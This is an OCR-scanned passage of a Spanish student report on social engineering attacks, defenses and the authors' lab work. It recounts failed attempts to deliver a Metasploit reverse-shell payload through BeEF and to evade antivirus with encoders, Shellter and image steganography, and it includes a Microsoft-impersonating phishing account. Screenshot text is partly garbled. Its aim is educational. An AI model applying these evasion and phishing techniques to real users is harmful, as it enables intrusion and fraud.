empresariales, como gobiernos, empresas u otras organizaciones. Los
atacantes pueden pretender ser representantes de proveedores conocidos y
confiables para la empresa. Algunos atacantes incluso pueden ser empleados
recientemente despedidos con una venganza contra su antiguo empleador.
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Para evitar ser descubiertos, los atacantes hacen que su identidad sea lo
suficientemente oscura pero creible para evitar preguntas. Esto requiere un
poco de investigacién por parte del atacante y conlleva un alto riesgo. Por lo
tanto, si alguien estd intentando este método, han identificado un claro
potencial para una recompensa altamente valiosa si tienen éxito.

11.4.4 Ataque de acceso por Tailgating

Los ataques de acceso por tailgating, o también llamados piggybacking, se
refieren al acto de seguir a un miembro del personal autorizado a un area de
acceso restringido. Los atacantes pueden aprovecharse de la cortesia social
para persuadirte de que les sostengan la puerta o para convencer de que ellos
también estan autorizados para estar en la zona. La suplantacion de identidad
o “pretexting” también puede desempefar un papel importante en estos
ataques.

11.5 Métodos de ingenieria social inusuales

En algunos casos, los ciberdelincuentes han utilizado métodos inusuales para
llevar a cabo sus ataques cibernéticos, como:

e Phishing basado en fax: cuando los clientes de un banco recibieron un
correo electrénico falso que supuestamente provenia del banco,
solicitando al cliente que confirme sus cddigos de acceso, el método de
confirmacién no se realizaba a través de los canales habituales de
correo electronico o internet. En su lugar, se le pedia al cliente que
imprimiera el formulario en el correo electrénico, completara sus datos y
lo enviara por fax al numero de teléfono del ciberdelincuente.

e Distribuciéon de malware por correo tradicional: en Japon, los
ciberdelincuentes utilizaron un servicio de entrega a domicilio para
distribuir CD infectados con un spyware troyano. Los discos se
entregaron a los clientes de un banco japonés. Las direcciones de los
clientes habian sido robadas previamente de la base de datos del
banco.

11.6 Posibles nuevos métodos de ataques por ingenieria social

Se cree que en el futuro, con el avance de la inteligencia artificial y la
tecnologia de deepfakes, los ciberdelincuentes podrian desarrollar métodos
aun mas sofisticados de ataques cibernéticos por ingenieria social.

Por ejemplo, podrian utilizar algoritmos de aprendizaje automatico para
analizar el comportamiento y las preferencias de las victimas potenciales, y
luego crear deepfakes (multimedia fraudulenta generada con [A)
personalizados para engafarlas aun mas efectivamente.

También podrian crear chatbots inteligentes capaces de simular
conversaciones humanas realistas para persuadir a las victimas a tomar
medidas perjudiciales para ellos mismos, como proporcionar informacion
confidencial o descargar malware.
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A medida que la tecnologia continda evolucionando, es importante que las
empresas Yy los individuos se mantengan alerta y adopten medidas proactivas
para protegerse contra estos tipos de amenazas emergentes.

12. CoOmo defenderse de ataques de ingenieria social

12.1 ; Cémo detectarlos?

Defenderse contra la ingenieria social requiere de autoconciencia. Siempre hay
que detenerse y pensar antes de que se haga cualquier cosa o responder.

Los atacantes esperan que se tome accién antes de considerar los riesgos, lo
que significa que deberias hacer lo contrario. Como ayuda, aqui hay algunas
preguntas que el usuario deberia de hacerse a si mismo en caso de sospecha:

¢Altera las emociones? Cuando la victima esta especialmente
curiosa, asustada o emocionada, es menos probable que se evallen las
consecuencias de las acciones. De hecho, es probable que no se
ponga en duda la veracidad de la situacion presentada. Esto se deberia
considerar como una sefial de alerta si el estado emocional esta
elevado.

¢ Este mensaje proviene de un remitente legitimo? Se deben
inspeccionar cuidadosamente las direcciones de correo electronico y los
perfiles de redes sociales cuando se recibe un mensaje sospechoso.
Puede haber caracteres que imitan a otros, como "torn@example.com"”
en lugar de "tom@example.com”. Los perfiles de redes sociales falsos
que duplican la foto de un conocido y otros detalles también son
comunes.

¢ Este mensaje viene realmente de un conocido? Siempre es bueno
preguntar al remitente si fue el verdadero remitente del mensaje en
cuestion. Ya sea un compariero de trabajo u otra persona de la vida del
usuario, se les deberia de preguntar en persona o por teléfono si es
posible. Puede ser que hayan sido hackeados y no lo sepan, o alguien
puede estar suplantando sus cuentas.

¢El sitio web tiene detalles extranos? Las irregularidades en la URL,
la mala calidad de imagen, los logotipos de la empresa antiguos o
incorrectos y los errores tipograficos en la pagina web pueden ser
sefales de alerta de un sitio web fraudulento. Si se entra en un sitio
web falsificado, asegurate de salir inmediatamente.

¢ Esta oferta parece demasiado buena para ser verdad? En el caso
de sorteos u otros métodos de targeting, las ofertas son una fuerte
motivacion para impulsar un ataque de ingenieria social. Se deberia de
considerar por qué alguien te esta ofreciendo algo de valor por poco
beneficio para ellos. Sé cauteloso en todo momento porque incluso
datos basicos como tu direccién de correo electronico pueden ser
recolectados y vendidos a anunciantes poco éticos.

éSon sospechosos los archivos adjuntos o enlaces? Si un enlace o

el nombre del archivo parece extrafio en un mensaje, se tendria que
reconsiderar la autenticidad de toda la comunicacion. Ademas,
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considerar si el mensaje en si fue enviado en un contexto extrafo, en
un momento extrafo o plantea otras sefiales de alerta.

e ;Puede esta persona demostrar su identidad? Si no se puede hacer
que la persona verifique su identidad con la organizacion a la que dicen
pertenecer, no permitir el acceso que estan solicitando. Esto se aplica
tanto en persona como en linea, ya que las violaciones fisicas requieren
que pasemos por alto la identidad del atacante.

13 Problemas encontrados en el desarrollo del proyecto
13.1 Al Iniciar sesién en BEeF

En este punto temprano de la instalacion, se tuvo que acudir por
primera vez a el foro de preguntas de GitHub de este programa, ya que
dependiendo de la version, BeEF utiliza diferentes consideraciones para
el usuario y contrasefia correctos, este mismo problema surgioé también
mas tarde al intentar acceder a través de ngrok, por lo visto este error
es obstante recurrente, ya que si accedemos desde la direccion
127.0.0.0, pero en la configuracion se indica la IP real, también
sufriremos esta incidencia.

La ruta y fichero donde se encuentran indicadas estas credenciales es
en “/usr/share/beef-xss/config.yaml”, pero incluso indicando las ahi
recogidas y cambiandolas, el programa indicaba que estas credenciales
eran incorrectas.

Pues BeEF sigue unos criterios concretos:

Usuario: beef/root — Depende de la version, pero viene indicado de
serie en el fichero mencionado.

Contrasena: Obligatoriamente NO puede ser beef, dependiendo de la
version puede ser “feeb” / “toor”, o en mi caso, descubri que el
programa fuerza que sea la misma contrasefia que el usuario en el que
estamos, en mi caso “kali”

—eEF

Authentication

Usermame: beef
Password: sess
ERROR: invalid username or password

Login

13.2 Al ejecutar el script BEef-Over-Wan

Llegados a este momento, para enlazar las funcionalidades de BEeF
con Ngrok, para poder usar BEef a través de internet, se tenia que
utilizar un script de python disponible en GitHub Ilamado
BEeF-Over-Wan, al ejecutarlo daba fallos de sintaxis, se intentaron
solucionar todos estos problemas individualmente, cosa que funciond
parcialmente.
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El unico problema que persistia era una variable usada varias veces,
que no estaba declarada, un problema dificil de solucionar, si no se
puede descifrar el funcionamiento del cédigo, la causa de esto fue que
el documento que se intentaba utilizar, estaba escrito en python2.

A través de la busqueda en foros, se encontré un script llamado 2to3
que efectivamente esta hecho para traducir documentos de python2 a
python3, aun asi igualmente se tuvieron que hacer retoques a mano

|- [~/BeeF-0Over-Wan ]
BeeFOverWan. py
e "/home/kali/BeeF-Over-Wan/BeeFQOve

n

'""fold string}" not found in {filenam

13.3 Al intentar capturar una victima a través de Internet

Una vez solucionados los problemas con el script y configurada la red
para que se pudiese atacar a victimas alojadas en redes remotas, se
encontré un problema con el “CORS” (Cross-Origin Resource Sharing),
es decir que la web no ejecuta scripts que se carguen de forma remota,
una medida de seguridad que hace que las webs solo acepten recursos
script que se encuentren dentro de esta misma, se encontr6 una vifieta
que explica de forma simple este problema.

CORS EXPLAINED

Access-Control-Allow-Origin: restaurant -Esta vifieta nos explica el CORS usando un restaurante
Sorry, we only take orders como ejemplo, en el primer caso, con la medida de
pPlaced inside the restavrant. seguridad, solo se aceptarian comandas (ejecutar script)

L pedidas desde dentro del restaurante (alojadas dentro de
Q la web).
o=

-En cambio, una vez se ha implementado el header HTTP
“Access-Control-Allow-Origin:* ”, establece que se pueden

SIS
QO . . . .
Access-Control-Allow-Origin: * cargar recursos desde cualquier origen, indicando esto
con el asterisco, en la metafora del restaurante, ahora se
Here's your order. aceptan érdenes desde fuera, como podria ser un

“McAuto” o similar

{turnoff.us}

Se ha bloqueado la a del contenido ivo mixto " '8a94-79-116-211-1
7.ngrok-free.app:3 ook. js"

A Ha fallado la ipts /8a94-79-116-211-17.n
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Este problema no se pudo solucionar ya que la herramienta que se estaba
utilizando para enlazar BeEF con el servidor de reenvio de puertos Ngrok, era
un script de GitHub ya mencionado, con el nombre de BeEF-Over-Wan.

No se pudo conseguir que cargase “hook.js”, ya que esta no era una
herramienta oficial del mismo creador de BeEF, ademas de que Ngrok usa IPv6
y esto generaba infinidad de conflictos que no se pudieron descifrar

13.4 Al crear una cuenta de google altamente sospechosa

Una anécdota interesante que ocurrié en este proyecto, fue cuando se
cred la cuenta de gmail para escenificar un poco mas el proyecto y
enviarnos a nosotros mismo el Gmail con el phishing para desarrollar
este trabajo.

A las pocas horas de usar esta direccion de gmail para hacer las
pruebas, llegd un mensaje de Google, curiosamente parecido al mail de
phishing en el que nos basamos para redactar nuestro correo malicioso,
pues motivos no faltaban, descritos en el punto 5.

Google

Se ha inhabilitado tu cuenta de Google

e thornas.rmicrosoft.team@gmail.com

La cuenta de Google thornas. rmicrosoft team@gmail.com se ha
inhabilitado. Parece que se ha utilizado de un modo que constituye una
infraccion de las politicas de Google.

Entendemos que tu cuenta es importante para ti, por lo que si crees que
se trata de un error, inicia sesion en la cuenta inhabilitada y envia una
solicitud para restaurarla. Debes hacerlo lo antes posible, ya que las
cuentas inhabilitadas se acaban eliminando junto con los correos
electronicos, los contactos, las fotos y todos los datos que hayas
almacenado en Google. Mas informacion sobre las politicas de Google

13.5 Al intentar usar Metasploit simulando un escenario real
En este punto del proyecto se intent6 usar las funcionalidades de BEeF
para introducir un payload de Metasploit, para a través de esta primera
herramienta, acabar teniendo acceso total a la maquina objetivo.

El obstaculo surge cuando se intenta inyectar este archivo malicioso, ya
que como es normal, “los buenos” hacen bien su trabajo, para intentar
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vulnerar Windows 10, se intentd de diversas formas, como las
siguientes:

Payload normal de Metasploit

Primero se intent6 usar un payload normal para windows, tipo
meterpreter a través de un reverse_tcp, sin elementos extra, con este
método, el mismo navegador, hacia que fallase la descarga para evitar
cualquier infeccion.

D chrome-setup32(2).exe

Fallido — 192

Amenaza en cuarentena
31/05/2024 20:33

Grave ™

Detectado: Trojan:Win32/Meterpreter.RPZIMTB
Estado: En cuarentena

Los archivos en cuarentena se encuentran en un
area restringida donde no pueden dafar el
dispositivo. Se eliminaran automaticamente.

Fecha: 31/05/2024 20:33
Detalles: Este programa es peligroso y ejecuta
comandos de un atacante.

Elementos afectados:

file: C:\Users\magdaDownloads‘google-
account-info 2\chrome-setup.exe

Mas informacion

Payload comprimido en ZIP

El siguiente método que se penso, fue meter este archivo malicioso en
un ZIP, de esta manera el navegador no lo detectaba al estar
comprimido, asi permitia su descarga, pero al intentar ejecutarlo, nos
arrojaba un mensaje de error, ya que detectaba el archivo como
potencial malware.
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w e R I T T L W T D R D T D D ST L D U

Mo se pudo completar la operacion porgue el archivo contiene un virus o software
potencialmente no deseado.
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Payload con encoders

En este siguiente formato de payload, se hizo uso de una funcionalidad
de incluye Metasploit, que son los encoders, estos sirven para codificar
el payload malicioso, afiadiendo el parametro -e al comando se pueden
elegir varios encoders, se probé el de Base64 y uno llamado
shikata_ga_nai, traducido del japonés esto querria decir (no hay nada
que hacer), pese a la grandilocuencia de la traduccion, ni este ni el de
Base64 funciono ya que la tecnologia de deteccion de antivirus esta
suficientemente avanzada para detectarlos.

SOl d O
/
\

_ N
s NS AT N

(-</_ N/ S _"1 _7_"7
VAR B A B AN\ W A Y AN )
[Author: -Ege-Balci-]====
L1 gy~ 1

Usage: sgn

Flags:
-h, --help Show context-sensitive help.
i, --input=STRING Input binary path
-0, --out=STRING Encoded output binary name

Payload evitando “Bad Chars”

Con este método se evitan los “malos caracteres” refiriéndose a lo que
usan los sistemas antivirus para detectar un archivo como malicioso,
esto se hace con el parametro -b, el problema de esta técnica es que si
indicamos muchos caracteres para que no se usen en el cédigo, este
no podra ser generado, es como se se le dice a alguien que evite X
letras del abecedario y luego intente crear una frase

Payload usando Shellter

Esta herramienta de evasion de Antivirus sirve para codificar cédigo
malicioso, esta se intentd usar con Metasploit sin conseguir ningun
resultado satisfactorio, de hecho después de su instalacion, nuestra
maquina de Kali comenzé a tener problemas con Xorg y LightDM,
provocando que se perdiese la interfaz gréfica, seguramente por un
problema de incompatibilidad
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Payload usando esteganografia con ExifTool

En este intento, se pretendia incrustar el cédigo malicioso en una
imagen, que al descargarse ejecutase el payload y nos conectarse a la
victima, desafortunadamente, para ver o ejecutar lo que hay escondido
en la imagen, la otra persona también tiene que tener exiftool y “abrir”
con este programa la imagen para ver su contenido, aun asi no se
ejecutaria el cédigo.

exit (oo

TOOL FOR READING, WRITING AND EDITING META INFORMATION IN FILES

Payload usando ImgBackdoor

Con esta herramienta se puede conseguir ocultar cédigo en una
imagen, no esta pensado para Metasploit pero igualmente se
quiso probar para no descartar ninguna opcion, el resultado
también fue , que despues de instalarlo, al reiniciar la maquina,
esta perdié la interfaz grafica, dejandonos con un Kali Linux
server, sin manera de arreglarlo

I _\ I
S 0 T I B
R R O AN VAN I VAV A _
crriorchrcl < holboll

2 N I N O W V) I Y S I
|
|7

Version release: v1.0 (Stable)
Author: Ferdi S Kennedy [ kennedy69 ]

14 Conclusiones
14.1 Conclusiones generales del proyecto

Como conclusion final, podemos concluir con que los ciberataques, son cada
vez mas dificiles de ejecutar, ya que la ciberseguridad evoluciona, y
disponemos de equipos que son cada vez mas seguros, por ende los ataques
son también cada vez mas sofisticados. Como se ha podido ver en este
proyecto, en muchos casos ya no se ataca al equipo informatico, si no al
usuario que hay detras, o combinando ambas técnicas, por eso es necesario
que a todos los usuarios (que son cada vez mas jovenes) se les ensefe sobre
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la importancia de sus datos y como deberian protegerlos, inculcando asi
desde pequefios, que no todo lo que aparece en internet es confiable.

Es asi, que como ampliacién de este proyecto, se disefiaran unas infografias
que eduquen de forma visual sobre métodos de deteccién de ataques de
ingenieria social, importancia de datos etc...

14.2 Consecucion de los objetivos

Aprendizaje detallado sobre el funcionamiento de payloads maliciosos

Este objetivo se ha alcanzado adecuadamente ya que se ha
comprendido el funcionamiento de los payloads generados por el
software escogido, entendiendo como trabaja en diferentes escenarios
y que implica cada uno de ellos.

Demostracion del funcionamiento de malware

En esta parte del proyecto, se comenzaron a encontrar
complicaciones, siendo la primera de ellas, que fue practicamente
imposible realizar la demostracion a través de la WAN, pero se pudo
demostrar su funcionamiento.

Prueba de malware en entorno controlado

Primero se intentd hacer este apartado usando Cuckoo Sandbox, pero
se acabo decidiendo no usar este programa ya que estaba obsoleto y
era incompatible, ademas de que las funcionalidades buscadas en este
programa, se podian encontrar en servicios web.

En el desarrollo de este objetivo es donde se encontraron la gran parte
de las complicaciones, se simularon los diversos escenarios usando
VirtualBox para no tener que atacar a la maquina real en cada una de
las partes de la investigacion, pero una vez acabado el proyecto, para
su demostracién “in situ” se atacé a teléfonos moéviles que se
encontrasen dentro de la misma red que el atacante, para hacer asi la
demo de forma mas vistosa

Entendimiento de los diversos tipos de malware

En esta parte del proyecto, se invirtid bastante tiempo en leer articulos,
ver videos y ojear libros de Kevin Mitnick, este tiempo invertido dio sus
frutos y se pudo elaborar un capitulo en esta memoria donde se
detallan todos los ataques conocidos o populares donde se utiliza la
ingenieria social.

Entendimiento de metodologias de ingenieria social

Al igual que en el objetivo anterior, recolectando y combinando
informacion de diversas fuentes, se pudo elaborar un extenso capitulo
en el que se explica el funcionamiento de la ingenieria social, las
emociones a las que ataca y como defenderse de esta.
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14.3 Valoracién de la metodologia i planificacio

En este proyecto, después de que en el anterior afio se suspendiese por
diversos motivos, como por ejemplo que se hizo una demo que funcionaba
pero no se asemejaba a ningun escenario real, este afio se ha dedicado gran
parte de los esfuerzos, en escenificar los ataques estudiados.

Realmente es donde se encuentra el grueso del interés sobre este campo y
aunque no se pudieron llegar a realizar algunos de los objetivos, en esta
segunda version, se ha usado programario mas potente y vistoso, que ha
ayudado a que se pudiese estudiar en mas profundidad cada una de las
partes que pueden haber implicadas en ataques/ciberestafas de estas
caracteristicas

14.4 Vision de futuro

La propuesta de ampliacion dada el afio pasado en este proyecto incluia
probar otro software, con el que se pudiesen probar los mddulos post
explotacion, que en este caso, la gran mayoria no funcionaban, o llevar a
cabo el disefio de una web con toda la informacion que se ha recolectado,
con la finalidad de difundir este conocimiento adquirido.

En esta segunda versién se han cumplido varias de esas iniciativas, ademas
de haber pensado en la posibilidad de disefar infografias “user-friendly” para
divulgar estos conocimientos, en lugar de hacer una web.

15. Glossario

Payload: Se entiende por Payload, la carga util de un paquete enviado a través
de la red, las cabeceras y metadatos son descartados.

Malware: Archivo malicioso que tiene un objetivo nocivo para el equipo, como
recolectar informacion (del usuario o de la maquina en si), o inocular un
virus/troyano/worm etc...

Python: Lenguaje de programacion de alto nivel y propésito general muy
utilizado.

Linux: Familia de sistemas operativos formados por el nucleo del sistema
operativo Linux junto con las utilidades GNU, denominado en ocasiones
GNU/Linux.

Maquina Virtual: Software que emula un ordenador y puede ejecutar
programas como si fuera un ordenador real a pesar de que esta virtualizado,
siendo igual de €eficiente, pero aislado de la maquina fisica.

LAN: Tipo de red informatica caracterizada por su caracter 'local' o de corta
distancia, tales como una casa, una oficina, un hotel, etc.

WAN: Tipo de red informatica caracterizada por su caracter amplio (Wide), es
decir a través de Internet, conectando a un usuario o servidor remoto, ya sea
en otra ciudad o en otro continente

Binario ejecutable: Programa que puede ejecutarse por la CPU normalmente
para realizar algun trabajo util.
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ELF: El formato ejecutable y enlazable, es un formato de archivo estandar
comun para archivos ejecutables, codigo objeto, bibliotecas compartidas
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17. Anexos

En este proyecto se ha estudiado el funcionamiento de lo que podria ser Un
Rootkit o un TCP-Reverso “en crudo”, que se inoculaba en la victima a través de
la ingenieria social, y se han explicado los diferentes ataques en los que la
ingenieria social, tiene el grueso principal del ataque, pero a continuacion se
muestra un arbol de clasificacion de los tipos de malware conocidos, en la web de
kaspersky, donde estan ordenados por nivel de peligrosidad y contiene enlaces a
otras paginas de utilidad.

https://www.kaspersky.com/resource-center/threats/malware-classifications
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DEFIENDETE DE
ESTAFAS DE
INGENIERIA D
SOCIAL

o

¢ESTAN TUS EMOCIONES ALTERADAS?

Cuando estas especialmente curioso, asustado o
emocionado, es menos probable pienses las consecuencias
de tus acciones, los hackers se aprovechan de tu emociones
para que tomes decisiones indeseadas.

¢ESTE MENSAJE LO'ENViA
ALGUIEN LEGITIMO?

Presta atencion a los detalles, en correos electrénicos o
perfiles de redes sociales, hay caracteres que imitan a otros
como "torn@example.com" y "torn@example.com", si ves
algo sospechoso, no entres a ningun enlace y contacta tu
con la empresa o persona para asegurarte.

¢PARECE DEMASIADO
BUENO PARA SER
VERDAD?

En sorteos, anuncios u otros métodos de targeting, sé
desconfiado y piensa antes de dar tus datos, incluso tu
direccion o tu correo electrénico, son dates que
pueden ser vendidos a anunciantes poco éticos.

NO TE DEJES LLEVAR POR TU
CURIOSIDAD

Tanto en linea como en fisicamente, la curiosidad
puede jugarte una mala pasada, no descargues
cosas de paginas poco confiables, y si encuentras
un USB en la calle, conectarlo a tu ordenador
puede ser una practica peligrosa.
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